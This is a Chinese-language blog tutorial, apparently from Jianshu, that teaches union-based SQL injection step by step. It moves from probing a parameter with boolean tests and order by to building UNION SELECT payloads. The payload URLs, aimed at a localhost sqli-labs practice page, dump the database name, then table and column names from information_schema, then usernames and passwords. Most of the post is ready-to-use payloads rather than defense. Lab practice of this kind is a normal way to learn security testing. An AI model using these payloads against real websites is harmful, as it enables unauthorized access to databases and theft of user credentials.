2022-06-13union 联合查询 sql注入

最基础的sql注入查询语句,union select 联合查询注入

1、找页面可能存在的注入点的位置

            看页面url地址是否有后台传参动作  --->  ?

            构造传参值            -->  ?id=xx

            验证输入自己构造的传参值后,后台是否能够解析

2、确认页面是否有回显值

url/index.php?id=-50

        and 1=1 判断页面是否正常

        and 1=2 判断页面是否部份报错

3、添加语句order by

目的:确定当前页面的回显位数。

url/index.php?id=-50 order by (值)

找到报错和不报错的临界点,取不报错的最大值

4、开始进行联合查询

url/index.php?id=-50 union select 1,2,3,4,5 --+

(匹配order by 验证出来的值)

    确定当前页面的显示位为5,随后通过查看页面的回显值来确定具体哪位是可控的回显点。

5、可以判断当前url地址为注入点

    在占位符位置上,构造我们想要的攻击代码,想要查看的结果会出现在占位符的位置上。

        database()  查看当前页面使用的数据库

        user() 查看当前登录数据库的用户

        @@version 查看当前数据库版本

        @@basedir 查看路径

6、爆库

http://localhost/sql/Less-1/index.php?id=-1' UNION SELECT 1,database(),3--+


7、爆表以及列(mysql版本需在5.5以下)

http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+


http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+


8、爆数据

http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(concat(username,'%20',password)) from users) --+


©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容